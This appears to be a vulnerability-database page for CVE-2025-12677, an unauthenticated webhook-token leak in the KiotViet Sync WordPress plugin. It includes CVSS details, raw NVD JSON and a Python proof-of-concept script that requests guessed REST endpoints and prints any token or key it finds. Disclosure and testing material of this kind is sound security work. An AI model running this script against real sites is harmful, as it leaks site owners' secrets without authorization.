Security Vulnerability Report
中文
CVE-2025-12677 CVSS 5.3 MEDIUM

CVE-2025-12677

Published: 2025-11-05 08:15:34
Last Modified: 2026-04-15 00:35:42

Description

The KiotViet Sync plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.8.5 via the register_api_route() function in kiotvietsync/includes/public_actions/WebHookAction.php. This makes it possible for unauthenticated attackers to extract the webhook token value when configured.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

KiotViet Sync plugin for WordPress <= 1.8.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12677 PoC - KiotViet Sync Plugin Information Disclosure # Target: WordPress site with KiotViet Sync plugin <= 1.8.5 import requests import sys def exploit_cve_2025_12677(target_url): """ Exploit for CVE-2025-12677 Sensitive Information Exposure via register_api_route() in WebHookAction.php """ # Common API endpoints to check endpoints = [ '/wp-json/kiotviet/v1/webhook', '/wp-json/kiotviet/v1/webhook/config', '/wp-json/kiotviet/v1/config', '/?rest_route=/kiotviet/v1/webhook' ] print(f'[*] Target: {target_url}') print(f'[*] Exploiting CVE-2025-12677...') for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f'\n[*] Trying endpoint: {endpoint}') try: # Send unauthenticated request response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f'[+] Potential webhook token found!') print(f'[+] Response: {response.text}') # Check for token in response if 'token' in response.text.lower() or 'key' in response.text.lower(): print('[+] High probability of successful exploitation') return response.json() except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') print('[-] No vulnerable endpoint found or target not affected') return None if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} http://target.com') sys.exit(1) target = sys.argv[1] exploit_cve_2025_12677(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12677", "sourceIdentifier": "[email protected]", "published": "2025-11-05T08:15:33.843", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The KiotViet Sync plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.8.5 via the register_api_route() function in kiotvietsync/includes/public_actions/WebHookAction.php. This makes it possible for unauthenticated attackers to extract the webhook token value when configured."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://wordpress.org/plugins/kiotvietsync/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1114a84e-3425-402f-bcdc-a2ee05b2dbc9?source=cve", "source": "[email protected]"}]}}